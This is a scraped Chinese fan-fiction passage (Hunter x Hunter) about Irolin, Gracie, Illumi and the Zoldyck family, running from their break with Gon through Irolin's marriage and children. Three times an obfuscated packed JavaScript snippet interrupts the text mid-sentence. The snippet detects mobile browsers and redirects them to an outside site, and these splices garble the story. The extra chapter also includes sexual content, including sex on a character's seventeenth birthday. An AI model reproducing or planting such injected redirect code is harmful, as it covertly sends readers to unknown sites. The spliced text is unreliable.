“应该快发现了。”米拉稍微有一点心虚，毕竟他们偷跑出来这件事，瞒不了多久，只能打一个时间差而已：“先回去吧，我倒是也想知道，是谁杀了那个叫窝金的家伙。” 他们正说着，前面的人却开始吵架。 明明还没出幻影旅团基地，这又是在干什么？ “所以，我都说了，你们要找酷拉皮卡就自己找，跟我有什么关系？”格蕾西烦躁地想骂人，她猜到了锁链手就是酷拉皮卡，还好因为他们很熟，所以派克诺坦没有查探她的记忆，否则这一点根本就瞒不住：“我不说就已经是仁至义尽了，他自己的仇自己报，我顶多不参与他和幻影旅团之间的战斗，为什么非要把我扯上？” “我们难道不是朋友吗！”小杰不明白。 他们一起考试，一起去揍敌客家，哪怕时间很短，彼此之间都有不可切割的关系吧？哪怕他清楚格蕾西对幻影旅团没那么讨厌，但是为什么会因为酷拉皮卡杀了那个窝金而不高兴？ 酷拉皮卡如果杀人的话，对方一定十恶不赦，并且他自己也很难过。 所以作为朋友，小杰希望帮助酷拉皮卡。 “奇犽，你也是这么想的吗？” 小杰将目光转向奇犽，但奇犽摇摇头：“当然不是，我和你是一起的，但是格蕾西他们不是，我们两个就能够解决啦！回去之后我陪你去打电话。” 她们之间的距离只会越来越远，小杰，像你这么纯粹的人是不会懂的。 伊洛林也并不想对小杰说什么难听的话，毕竟他只不过是一个思想直接的十二岁小孩，他是一个很好的人，所以他不会明白为什么格蕾西会对幻影旅团没那么讨厌，他不懂，不是所有十恶不赦的人在别人心里都是该死的。 黑和白的世界里，允许存在灰色。 “格蕾西我会带走，现在看来你们不适合待在一起。”伊洛林简单地做了决定：“我们四个一起，你们两个一起，各自有各自的事情，就不用说什么谁帮谁。” “伊洛林，酷拉皮卡的事情，你也不想知道了吗……” 她想起猎人考试，想起那两次的电话，沉默了几秒，轻轻摇了摇头：“对不起。” 他们最好别再扯上关系。 “……我不明白，为什么，伊洛林你只是回家了一次，就变了这么多。”小杰擦了一把眼角的泪水，握紧了自己的拳头：“虽然你表现得好像什么也没有变过一样，可是你再也没有和我说过话，再也没有看过我一眼，你直接地忽略我，就好像我并不存在一样。我不知道我做错了什么，我也不明白我是不是真的很差劲，但是伊洛林……我不想要你变成现在这样！” “很抱歉，小杰。” 伊洛林面色平静：“我就是这样的一个人，从前只是假的，如果你愿意，可以从现在开始讨厌我，我不会多说任何的话。” “……” 小杰转身就跑，奇犽追了两步，回头又看了一眼手拉手的两个女孩，犹豫着补充了一句：“小杰他会明白的，你们先去吃点东西……我安慰好他再来找你们。” “好的，哥哥。” 是伊洛林在回应他。 小杰，当你在质问幻影旅团为什么能够毫不在意地杀掉那么多人的时候，一定没想过，你身边起码有三个人都是这样杀人不眨眼的怪物。奇犽只是厌倦了杀人的生活，并不是不会，也并不是不愿意，他只是讨厌被控制，讨厌日复一日只有杀人的生活，伊洛林不会在乎自己杀了多少人，从她杀第一个人开始就已经开始万劫不复，格蕾西也从未后悔过，她不杀别人，就是别人来杀她。 是奇犽向往小杰。 不是伊洛林，也不是格蕾西。 比从小浸透在杀意里更难以疗愈的，是正常人走向崩塌的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331422|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个过程。小杰是一种人，奇犽是一种人，伊洛林与格蕾西是另一种人。 “你「醒来」之后，是不是复发了？” 格蕾西相当直接。 她知道伊洛林心情不好，尤其是在小杰说出那段话之后，她的心情更是糟糕，是因为有自己在身边所以伊洛林才会坚持住，不然她肯定会找个地方把自己关起来。 她其实并不想伊洛林恢复记忆，可是记忆这种事情，是本人的决定。 难道她要因为喜欢伊洛林的笑容，而勉强她继续忘记一切吗？格蕾西只是尊重伊洛林的所有选择，伊洛林有知情权，或许再来一次遗忘，伊洛林又会变得茫然而纯粹，可是那不代表现在的伊洛林不好。 她只是把自己关在自己的世界里。 她只是不想和任何人建立关系。 伊洛林什么也没有做错。 “……嗯，本来想给你打电话的，但是大哥突然来了。”伊洛林有点心虚，她看见格蕾西翻了个超级大的白眼，随即指着米拉和米达继续问：“他俩呢，什么时候跟你在一块的？” “也就前几天，没地方住，我收留了他们。” 米拉笑着打招呼。 “终于不无视我了？” “别用你那张跟你爹差不多的脸对我笑。”格蕾西只觉得手指头痒痒的，想给他来一拳。米拉耸耸肩：“不好意思，长得太像了我也没办法，要不然下次我俩去给我爹套个麻袋？你先打，打完了我再接着打。” 米达举手：“能不能算我一个？把我爹也打一顿？” 真是父慈子孝。 格蕾西惊叹于他俩的想法，很快就和两个小孩打一片，主要是他们三个人都想揍侠客和库洛洛一顿，伊洛林在一旁看着，慢慢地跟着一起走。她握紧手机，缓缓吐息，脑海里又重新开始回忆小杰说的那些话，自己受到了帮助，接受了好意，却想要脱离他们。 她沉默了很久，久到格蕾西来拉她的手。 “去做吧。” “报答之后，再想着离开，是不是也不错呢？” 伊洛林的长发被风吹起，晃晃悠悠，她垂着眼睫想，自己或许真的就是一个很糟糕的人。于是她编辑短信，一方面给奇犽发了酷拉皮卡的老板消息与工作电话，一方面给零发了消息询问她现在的情况。 零的回复很简短，她说自己在会场遇见了幻影旅团的人，因为认识，所以避开了，只不过另外的队友全部都死了。 「我很难过。」 「伊洛林，我的旧友死了。」 “格蕾西，你是不是也很难过呢。” 格蕾西没说话。 她想到很久以前，很久很久以前，那段记忆就像是已经被遗忘了，却突兀地在脑海里回放，窝金教她战斗，教她怎么扛伤害，野蛮人一般哈哈大笑，却是唯一一个记得让人给她带点贴身衣裤的人。 她也是。 承了幻影旅团的照顾，却没有任何回馈的那种人，才会抗拒继续和小杰他们一起。 伊洛林和格蕾西。 她们做不了小杰那样的人。 97.89 当一切成为定局，那么将万劫不复。 伊洛林想，自己始终是需要伊尔迷的。 当华石斗郎出现在格蕾西面前的时候，格蕾西愣住了，她不可置信地回头看了一眼伊洛林，而伊洛林只是笑一笑，对她说，去吧。 去吧，去吧……她想，自己也该开始最后的行动了。 这是一个美好的夜晚。 镇魂曲演奏着，炮火轰鸣，死亡人数不断攀升时。伊尔迷带着柯特，跟随着许久未曾出手的曾祖父，他们执行一个任务，而席巴与桀诺则是相对应的另一个任务，揍敌客几乎全员聚集在友克鑫，除了仍旧关在家里的亚路嘉，与留守的糜稽和基裘。 伊洛林走进会客厅。 她的项链此刻正垂在男人的手掌心里，而他则花了68个亿，拿下了这个他想要的很久的项链，到底是价值几何呢？伊洛林想笑。富可敌国啊……里头的钱，大概能直接把整个巴托奇亚共和国买下来，包括揍敌客家。所以这个人拼命地出价，拼命地把自己所有的流动资金都付出了，现在他是个所有产业都岌岌可危的穷光蛋，可是他却觉得自己很快就能东山再起。 可悲啊。现在仍旧期待着这是真的。 “雷蒙斯，很高兴你依旧是这样的如同臭虫一般。”伊洛林缓缓开口：“所以看见你输成这样，我很高兴。”她甚至轻轻地松了一口气：“我还在想，这种拙劣的骗局怎么会骗到你呢，但是我又想，你不会放弃任何一个机会，你不允许这种情况发生，所以你会倾尽所有……雷蒙斯，你应该知道的。” 雷蒙斯.克雷诺德握紧了拳头。 他的手掌心被尖锐的针刺刺破，鲜血淋漓，伊洛林面无表情，他们静默了三秒，而后，两个人同时消失在原地。 柯特正用扇子抵住唇瓣。 他远远围观着这一场战斗，身侧是伊尔迷。 伊洛林的攻击方式改变了，从前的她直来直去，擅长体术，而这一次，很明显能够看出来，她的攻击带有一定的特殊性。 “……特质系。”柯特的眼里闪动着凝，他这样的揣测有理有据，因为伊洛林甚至重复出现在某个地方，又在一瞬间出现在四面八方。具现化系的雷蒙斯与她的战斗几乎是持平的，可雷蒙斯年纪大她很多，念力的储备量和熟练度也远超于伊洛林，所以要达到这种程度，伊洛林究竟给自己下了什么样的制约呢？ “大哥不去帮忙吗？” “这是她的战斗。” 伊尔迷只是看着，看她受伤，看她流血，看她冷冷的眼神，与不曾改变的视线。 而后，是归来的格蕾西加入了战斗。 “我可不会在这种事情上丢下你。”格蕾西甩着棱刺，她咬紧了后槽牙，痛骂伊尔迷：“王八羔子，用华石斗郎来考验我们，你根本不知道华石斗郎会来，对吧？不过你也别想我会轻易放过你，因为你都没有告诉我，你甚至配合他希望我只做最后的倾听。伊洛林，我要跟你算账的！” 伊洛林回到原点，她的身侧，是时间在流逝。 “……嗯，因为我知道，你会来的。” “大哥他在看着，他一定在看着，所以你来了，他就肯定会意识到，他根本不可能分开你和我。” 伊洛林与格蕾西并肩而立。 大批西装墨镜的黑色帮会成员加入了战斗，枪林弹雨里，她们并肩作战。 “杀吧，把他们全部，都杀了。” “好。” 如果我们再也回不去了，就不需要再坚持自己了吗。 她们曾经听说过一种论点——人体的新陈代谢是一个持续的过程，旧的细胞会逐渐被新细胞所替代，七年的不断更新体内的细胞将全部换新，从生理角度看，每七年我们就会成为另外一个和旧的自己完全不同的人。 十二年转瞬即逝。 未来还有多少年在等待？ 四岁的伊洛林失去记忆，四岁的格蕾西从流星街醒来。 七岁的伊洛林手染鲜血，七岁的格蕾西杀人无数。 我们早就死在了曾经。 只不过是怀揣着回家的美好臆想还有重逢的快乐，才去无视忽略这一点，把自己想得太过于美好吗？不可能的，只是看着那些表情，就无法自拔地想要贴近。人潮拥挤时，有没有那么一瞬间以为自己回到了和平的国度，那个杀人是被禁止的国度，不以实力强者为尊，不用担心自己死在哪一场波及里，不用恐惧自己的明天。 “我曾经以为你是一座不可逾越的高山。” “当我攀上你，发现你也不过如此。” 她踩踏过黏稠的血迹，无可救药的黑暗笼罩着眼眸，她对这种事已经没有任何一丝一毫的波澜了，她的指尖滴滴答答往下滴血，断了多少根肋骨，又受了多伤，对她而言根本没所谓。她爱哭，是因为哭了格蕾西才会安心她还能哭，她怕疼，是因为还有格蕾西抱着她安慰，忍耐疼痛对她而言曾是家常便饭，现在也一样，毕竟揍敌客家的训练，耐痛为首位。 只要在疼痛的时候还能保持清醒，才能做出最有利于现状的判断。 她捏碎手心里的心脏，连听他说话的想法也没有。 他已经输了，所以一言不发，只要一个最后的尊严，伊洛林也没有想要把他的尊严踩在脚底下的打算，因为她不在乎雷蒙斯，完完全全地不在乎，只是把他当成一个任务，一个通关点，一个曾经的承诺。 “要去治疗吗？” “……我要去找酷拉皮卡。” “我陪你。” “你想看见他吗。” “还好。” 熟睡的女孩怀中抱着玻璃器皿，培养液里沉浮着绯色的双目。 伊洛林只用了一个瞬间，中医针扎入某个穴位，女孩便进入了深度睡眠，无法苏醒。她拿走了那双绯色的眼睛，抱着那双眼睛回到格蕾西身边时，她盘腿坐下，像是在自言自语一般，又像在问格蕾西。 “这样足够了吗？” “足够了。” “真的是幻影旅团吗？” “嗯。”格蕾西竖起手指，比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336867|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 划着月亮，微微眯起眼睛，月光落在她的脸上，漾开一片流水一般的莹白：“库洛洛就是那种人，性质一上来就会做不顾后果的事情。看起来好像流入市场太多会降低价格，但是这个世界上有多少人，眼睛又有多少对？那些人分都不够分的，怎么可能降低价格，只可能让幻影旅团赚得盆满钵满？” “你猜这个小姑娘她会想要多少对？” 伊洛林擦了一把脸上的血，她看了一眼手机，是奇犽发过来的，他们要见面的地址，天空露出一抹白光，远方一层层地开始亮堂起来，他们该去了。 因为没有妥善治疗，两个人看起来都挺狼狈的。 伊洛林做了个蛋糕盒，把眼睛装在里头应该没人能猜到，她提着盒子来到四个人见面的地方时，总觉得自己过去也算是一种打扰了。格蕾西静静地看了一会儿，总觉得那种温馨的场面确实不适合她。 “啊，伊洛林？！” 奇犽吓了一跳，不是因为伊洛林来了，而是因为她身上的伤，她点了点头，伸出手轻轻地和奇犽握了握，冰凉的手指带来难以言喻的，像尸体的感觉：“哥哥，我来找酷拉皮卡有点事。” 她把蛋糕盒给酷拉皮卡，郑重无比。 “谢谢你曾经的好意，这是我给你的回礼。很抱歉我对你的任何事情都没有帮助的打算，从今往后希望你能过得更好。” 她顿了顿，又看向一旁的雷欧力。 “也谢谢你，雷欧力，对你的助学金我已经申请好了。” “……” “再见。” 小杰被略过了，因为她不知道要怎么感谢，不知道要怎么说。拉着格蕾西离开后，她们治疗养伤，再与糜稽见了个面。是的，糜稽也跑出来了，为了一个游戏。 于是糜稽用一百二十五亿勉强拍下了一个。 “要不是伊洛林你突然给了我八十亿，我真的就输给那个老家伙了！别跟二哥客气，想吃什么就点，来，格蕾西，你也吃，点，可劲点！” 伊洛林往嘴里塞了一点烤肉，有点蔫蔫的。 “好困……二哥你要回家吗。”现在身上一穷二白的伊洛林打算蹭个飞艇，不然叫自己的飞艇来的话，还要等好久。糜稽当然是要在家里开机，他们三个一拍即合，糜稽负责在外面分析数据，格蕾西去游戏里玩，而伊洛林扫尾结束，就进去找格蕾西。 “给你找个好玩的东西。”伊洛林是这么说的。 格蕾西对贪婪之岛很感兴趣，她探探路也未尝不可，于是三个人乘坐着飞艇到了揍敌客家，这是格蕾西第一次正式拜访，甚至在山下拿了点水果上门，一路畅通无阻的到了主宅，看见了席巴。 “爸爸，我回来了。” 伊洛林乖乖地站着，糜稽的态度就亲近多了：“老爸！我终于拍卖到了，太棒了，我现在就要开机去玩！！” 席巴点了点头，视线落在了格蕾西身上。 女孩无所畏惧地回望着他的眼睛，泰然自若。 “嗨？” “叔叔好。” 98.90 席巴没什么表示。 他挺欣赏格蕾西这个小姑娘，不过现在为止，他并没有和自己的妻子一样，产生强烈地让格蕾西嫁进揍敌客家的想法，哪怕他们一再强调这会让伊洛林更长久的待在家里。 这孩子不可避免的和自己生疏了，她不会再无所顾忌地扑进自己的怀里，对于她而言，他先是席巴，再是父亲。 启动游戏，而陪伴格蕾西率先进入游戏的，是华石斗郎。他卖身给揍敌客家，倒不如说是卖给了格蕾西，目前为止华石斗郎都很好的进步中，他现阶段的任务就是陪伴在格蕾西身边，不论格蕾西做什么他都必须跟随。 这一点华石斗郎很自愿。 “我先去了，等你来。”格蕾西碰碰伊洛林的手指，她们相视一笑，随后格蕾西没有任何迟疑，进入了游戏，糜稽也开始针对游戏进行分析，看起来要很长一段时间不出门了。 伊洛林的收尾工作，刚刚开始。 “伊洛林，到这里来。” 伊洛林迟疑了一瞬间，紧接着起身坐在了席巴的身侧，她微微紧绷的身体在席巴的手指接触到耳侧的发丝时，到达了巅峰，可席巴只是比上一次更加熟练的，给她编了个小辫子。杀人的手做这种事总是生疏的，指尖经过发丝像是有火在烧她的心脏，当眼泪掉在膝盖上的时候，伊洛林才意识到自己在哭。 对不起。伊洛林在心里说。她本打算捂着脸，却被席巴安慰似的搂在怀里。 “哭吧，像那个时候一样哭。” 那是第一次感受到父亲真正认同她的时候，她还记得。 伊洛林不清楚，自己的记忆，是二十几年与十几年，她眼眶发热，很想询问为什么，揍敌客家重血缘和利益，重实力与能力，她是什么？她能够被爱着吗？越清醒越孤独，越孤独越发觉其实自己应该是不被需要的。所以这又是为什么呢。 大概是因为人类总是这样复杂。 总是利益与感情交织在一块。 改变不了的一切是永恒的。 因为她能让亚路嘉随心所欲地答应任何愿望吗？因为她能够让奇犽更加记挂家里吗？还是因为她和伊尔迷呢？ 伊洛林不知道。 她的眼泪浸透席巴的衣衫，她哽咽着，无所适从。 在揍敌客家小住了几天，伊洛林重新让自己去接受家人，试着在基裘的身侧睡觉，试着去重新读懂柯特，她还是会去给亚路嘉读故事书，一起睡一场午觉，而后在夜晚睡在伊尔迷的怀里。 她去送了零。 酷拉皮卡用誓言锁链禁止库洛洛使用念力，库洛洛也不能再见自己的下属，而零不属于这一种类，所以她陪着库洛洛去找除念师。米达和米拉混进了小杰与奇犽所在的游戏团队里，目前已经抓不到，不过零表示，下次见面就让他们两个人的屁股开花。 库洛洛看起来就跟普通人一样，只是视线经常性停留在零的身上。提到米达时，他唇角微微一弯，而他给了伊洛林八十亿，他说过要送给伊洛林一个礼物，那么这个游戏机就是他的礼物了，哪怕伊洛林并不是零的孩子。 她去送了酷拉皮卡。 因为酷拉皮卡打电话过来希望能见一面。 他很感谢伊洛林将绯红之眼交给自己，只这一件事就足够抵过千次万次他清楚地知道人与人之间是不同的，只是对于伊洛林，或许更多的是一种难以触碰的难过。他说小杰只是一时之间没转过弯，他说我们都清楚，伊洛林你并不是想这样的，伊洛林没说什么，她觉得自己并不适合继续说话。 “从来没有听过这么悲伤的心声。”旋律望着伊洛林的背影：“明明身处人群之中，却好像只是一缕清风，她不像在这个世界的人，悲痛的好像心里一直在哭泣……她受过很严重的情绪创伤吗？” “我不知道。” “诶……” “我从未了解过她。” 她也从未让我了解过她。 她去见了萨次，拒绝了回猎人协会的邀请，也撕碎了喷了香水的某不知名邀请函，名字是帕里斯通，但伊洛林不想有任何的瓜葛，破碎后重新组成的那个时候，痛苦是无法避免的根源。萨次祝贺她复仇成功——接下去去过自己的生活吧。 她去了鲸鱼岛，用外商的名义投了一笔钱，并且重点保护了鲸鱼岛的生态环境，用最直接的念力系统阻止了外来人探索内部。她在森林深处遇见了一只狐熊，它带着一只拥有念力的幼年狐熊，他们三个在一起静坐了一个下午，伊洛林烤鱼，他们吃，也许是因为小时候经常躲在魔兽幼崽们的窝里，伊洛林和狐熊相处得还不错。 她又去了天空竞技场，自己也成了房主之一，探听到了西索很久没回来的消息。 她让糜稽摧毁了克雷诺德家族剩下的产业，被帕里斯通接手的那些，在对方不备的情况下，把他们的机密文件都换成了火O忍者让他们燃起来，损失了好几个亿之后估计他们也支棱不起来了。 最后，伊洛林对亚路嘉许下愿望：从今往后你不能对血浓于水的家人提出伤害身体或者破坏性命的请求。 亚路嘉得以重新见到了太阳。 他太脆弱苍白，于是伊洛林陪着他从最初的训练开始做起，每天都有按摩师来给亚路嘉调整状态，他心情很好地跑来跑去，偶尔会有管家死于非命，除此以外没有任何的危险。 而后伊洛林携带着亚路嘉进入了游戏。 奇犽接手了亚路嘉的照顾权，奇犽、小杰与亚路嘉，三人同伊洛林和格蕾西、华石斗郎三人合作，对游戏进行了探索。 格蕾西得到死者往返的明信片，纠结了一夜，她给窝金寄了一封空白的信，什么也没有，什么都有，像那一次的沉默是对他的哀悼。 时间过了很久很久。 久到华石斗郎和奇犽同期获得了猎人证。 久到小杰找到了自己的父亲。 久到格蕾西和伊洛林度过了十六岁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15340223|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生日，她们已经在这个世界上活着十六年了。 伊洛林终究还是回归了揍敌客家。 她有很多委托，经常全世界各地的飞，格蕾西在华石斗郎的陪伴下开始周游世界，经常寄一些明信片回来，偶尔两个人的目的地相同，也会飞过去待在一起一段时间。 伊洛林拆信的时候会看见从前的人。 酷拉皮卡自己成立了保镖公司，每天都在雷厉风行地做着事，看起来对复仇已经没有那么在意了。 库洛洛恢复了念力，与西索大战一场，西索败。 西索袭击侠客与库哔，被委托而来的伊洛林、柯特二人，还有零三个人一起，让西索乘兴而来，败兴而归，包子脸吐槽零真是越管越宽了。 西索与格蕾西大战一场，格蕾西重伤濒死，西索也好不到哪里去。 格蕾西并没有杀了西索，就像西索最后也没下杀手一样。 后来两个人再也没见过面。 小杰会寄信过来说一些他们遇到的事情，奇犽寄信回来说亚路嘉都快要叛逆期了，雷欧力考上了好大学之后成为优秀的医生，感谢伊洛林帮他介绍了一些富有的患者，让他扶贫的同时不愁吃喝。 十七岁时，伊洛林与伊尔迷订婚了。 格蕾西杀回来和伊尔迷打了一架，打赢了的格蕾西继续生气，打输了（故意的）的伊尔迷让伊洛林哄了他整个晚上，当然格蕾西没让他得逞太久，蓄意把新婚妻子拐跑了三个多月才放回家，惹得伊尔迷十分有九分的不悦。 伊洛林逐渐接管了家里的一些事务，随着年纪的增长，成熟地应对了各种各样的事情，她觉得自己是越来越老巫婆，可外表也才刚成年不久。 意识到伊洛林把自己当成小一点的男孩子看，伊尔迷学会了在某些时候管伊洛林叫姐姐。 伊洛林差点没把命交代了。 长至腹部深处，她已经体会得淋漓尽致，和伊尔迷谈恋爱，最满足的是他几乎是鬼一样在自己身后。 订婚只是一家人吃了一顿饭，奇犽和亚路嘉甚至没回家。 而婚礼奇犽带着亚路嘉回来了，亚路嘉已经十九岁，还是要抱着伊洛林哭唧唧地表示自己才刚刚长大，伊洛林怎么可以就嫁人了。伊洛林不明所以，不过还是拍着亚路嘉的发顶说哥哥乖乖的，不要哭。 哪怕亚路嘉已经接近一米八，伊洛林都把他当小孩。 柯特不喜欢亚路嘉，他们两个总是要互相怼两句彼此，奇犽显得成熟老练了许多，和席巴谈话时，漫不经心地表示再过两年自己就会回家。 他终究是要回来继承家业了。 雷欧力带着小杰和酷拉皮卡的贺礼来，他们两个人都有自己的事，无法到场，雷欧力也只是到了婚礼最后就离开了，毕竟他还得去看着两个同是天涯沦落人的家伙。 零带着米拉与米达上门祝贺，库洛洛和侠客跟在后头。 伊洛林想，大概就没有什么遗憾了吧。 99.生儿育女番外[番外] 伊尔迷这辈子最后悔的事情，是让伊洛林怀孕。 孕中辛苦，她和基裘不同，基裘就像个金刚一样，身体强度是世界级的，而伊洛林孕中则是双腿浮肿每天都很疲惫。因为怀的是双胞胎，哪怕用了最好的营养师来调理身体，医生来来往往不停，伊洛林的精神气还是难免不太够用。 她每天只喜欢懒懒半躺着，吹着风，或晒晒太阳，盖着小毯子一整天都不怎么说话。 伊尔迷的任务大半都丢给了糜稽和奇犽，这两个快做舅舅的人难得没什么怨言，要是不让伊尔迷花时间陪着伊洛林，他们两个人的皮都得被扒下来一层吧？他每天的任务就是陪着伊洛林，去哪儿他都跟着，伊洛林睡觉他就在一旁看着，伊洛林无聊他就把她抱在怀里念故事书，做胎教也好打发时间也罢，再买一点普通简单的手工回来，让伊洛林有事可做。 帮伊洛林洗头洗澡都是再正常不过的一件事，伊尔迷可不会放弃任何一个紧贴着的机会，就像伊洛林满十七岁那天晚上，忍到差点要出家的伊尔迷生生把人做晕了三次，此后伊洛林的日子就没素过。 现在好像又回到了当初。 只不过当初还能打打擦边球，吃口荤的，而现在则不太行。 孕期不能太激烈，但是也要适当地安抚，伊洛林没有太多那些想法，偶尔有，就偶尔安抚，伊尔迷一门心思地把她往好了养，按摩也是亲自来，直到伊洛林把孩子生下来。 生的过程是用尽了办法把痛苦降低，危险降低，直接剖腹产，缝合请了会念的医生，把伤口缝得几乎看不见。 龙凤胎，哥哥妹妹。 伊尔迷松了一口气，轻飘飘掠过一眼，他本就是陪产的那个，挥了挥手让管家带孩子下去，满心满眼都是面色有些苍白的伊洛林，他在等妻子醒来。 你以为这就结束了吗？ 伊尔迷开始成为全职奶爸，并且学习了各种各样的技能，比如，如何炖出坐月子女□□喝的汤。 虽然伊洛林不孕吐，但是她几乎不怎么吃东西，每次都靠哄，不然营养不良怎么办，吃不饱孩子就要吸收母体的养分，伊尔迷只觉得肚子里的孩子太折腾人，全程参与了怀孕与分娩，抚养的任务重担也在伊尔迷身上，虽然有管家团队，可伊尔迷总是会更加牵挂。 伊洛林肯生就已经很难得了，生育的苦吃够了，那带娃的苦就一点别吃。 月子餐都是精心搭配的，复健运动也是按照标准的来，伊洛林本身是个健身狂魔，也被按着老老实实地继续养身体，月子生活里最大的乐趣就是看伊尔迷在一双儿女面前露出疑惑的神色。 他养过弟弟，没养过儿子女儿。 不是第一次抱孩子，却依旧会觉得碍于得小心翼翼。 他垂落的长发被攥紧不肯松开，看起来是疼的，但伊尔迷神色不变，任由两个孩子折腾他。新生的婴儿吃了睡睡了吃，号啕大哭时声音穿透力极强，尤其是其中的哥哥，一头白色的胎毛，眼睫毛根根分明也是雪白雪白，哭声更是如同魔音灌耳，被伊尔迷评价为颇有奇犽的幼年感觉。 奇犽本身窝在一边逗外甥，闻言差点炸毛，做家主的人了，还是看见他哥就背后一冷。 孩子饿了，伊尔迷喂。 孩子折腾，伊尔迷哄。 孩子睡了，伊尔迷交给管家，一个小时里来看八次，管家都觉得皮绷紧了。 除此之外，还要炖汤给伊洛林喝，亲自下厨做饭，调配饭菜里的毒，晚上给伊洛林讲故事，生生把自己从一个人见人怕的杀手，弄成了全职奶爸外加宠妻狂魔。见过疼老婆的，没见过把老婆当女儿养的，不过伊尔迷觉得妹妹变成老婆也是妹妹，不能混为一谈是理所当然的。 席巴自愧不如。 伊洛林竟也不觉得伊尔迷烦，哪怕一天二十四小时，只分几个小时给儿子女儿，其余时间都在自己身边，她也不觉得有什么不对。毕竟她当初愿意选择伊尔迷，也有一定的原因是因为伊尔迷真的很沉重，爱也是，欲也是，伊洛林就需要这种沉重到窒息的感情让自己感觉自己还活着。 随着时间推移，孩子慢慢会爬，抓握东西的喜好开始增加，尤其是对他们的父亲的头发感兴趣，于是伊尔迷就像被糟蹋了一轮一样，头发乱翘。伊洛林一边笑一边给他整理头发，而伊尔迷乖乖地垂头，让她在自己头上放下双手，他凝视着自己已经生育却依旧显得像个未成年的妻子，黏稠的爱意是与日俱增的。 “孩子像我，喜欢你的长发。” 生育过后的母性，伊洛林大约都给了伊尔迷，她本身就觉得自己年纪比伊尔迷大，一开始听伊尔迷叫姐姐，还会害羞，会逃避，后续接受了，被叫两声姐姐还会捏捏伊尔迷的脸，凑过去吻他的唇角。 伊尔迷喂孩子们奶粉，伊洛林的就归他所有，这种癖好令人不敢恭维，还好也没人知道。 伊尔迷埋首在伊洛林的怀里，枕着妻子沉甸甸的丰满，他感叹自己将伊洛林养育得稍微有些丰腴的肉感，这样抱起来满足至极。 于是他又蠢蠢欲动，把人搂上膝盖，咬着伊洛林的耳垂，含糊不清低声唤她：“……妈妈……” 玩得太大。 伊洛林老脸一红。 “……没你这种儿子。”虽然这么说，但伊尔迷要怎么玩都随他的心去，伊洛林负责把他喂饱，别一脸幽怨看着自己就行了。 三岁的孩子，正是人憎狗嫌的时候，尤其是三毛，被薅秃了好几块毛，敢怒不敢言，只敢呜呜着对伊洛林哭，给她看自己的毛，这么大一只狗，愣是给伊洛林养的跟小孩似的，四脚朝天地耍赖皮。伊洛林给它买了各种各样的美毛产品，甚至还有个巨大的蝴蝶结，当三毛从黄泉之门侧的小门里探出头时，恐怖的巨大狗头上是令人瞠目结舌的粉色蝴蝶结，一瞬间不知道该觉得是头皮发麻还是目瞪口呆，只不过他们都默契地举起了手机，咔咔咔的拍照。 伊尔迷被孩子们折腾得没脾气，一个比一个闹腾。 这两个孩子最大的特点是不怕伊尔迷，一口一个爸爸，鬼点子一个接一个，偏要伊尔迷陪。 他们俩最怕的是伊洛林。 不为别的，席巴和基裘肯定宠着自己孙子孙女，四个又是舅舅又是叔叔的更是无所不能的给他们东西和溺爱，伊尔迷又非常沉默的受着他们的折腾，只有伊洛林对他们的感情淡淡的，不像是怀胎十月生下来的，而像是不怎么亲近的远房亲戚。 她实在是对孩子生不出什么母爱，有半点都给了伊尔迷。 可能是她小时候的心愿就是让父母离她远点，生育完没有产后抑郁就已经是万幸，谁能强迫她去爱？她就这样就很好了。她从切割和所有人的关系开始，除了对家人，其余不论是谁都情感淡漠。 抱孩子抱得少，也没有亲近的意思，孩子感觉敏锐，所以在伊洛林身边总是会拘谨不少。 她甚至没怎么对孩子笑过。 这俩孩子第一次学会嫉妒，大概是看着伊洛林笑着望着伊尔迷，眼神温柔又缱绻。 而伊尔迷告诉他们，爸爸为了走进妈妈的心，花了整整十五年。想要妈妈爱你们，就必须加倍地爱妈妈，妈妈才会感觉到你们的存在和你们的爱，要长久的一辈子地去爱。 在别人眼里伊尔迷再怎么可怕，对于伊洛林来说，伊尔迷只是疼爱自己的哥哥，爱着自己的丈夫，她所有的爱意倾斜给伊尔迷，沉重的，病态的，不可控的，伊尔迷已经十分满意。格蕾西曾说过，伊洛林已经病入膏肓，她和伊尔迷只能不断地纠缠到最后，她几乎作呕，而伊洛林生育她更是无法接受，所以也不曾回来看过。 伊洛林会抽空去找她，感情虽然不曾减少，但在一起的时间还是越来越少。 格蕾西不喜欢小孩，也只是寄了几次礼物而已，毕竟是伊洛林的孩子，但她和伊洛林一样，对这种东西没有本质上的好感，如果不是伊洛林生的，她将一眼都不看。 她说过，伊尔迷只需要保持让伊洛林幸福就足够。 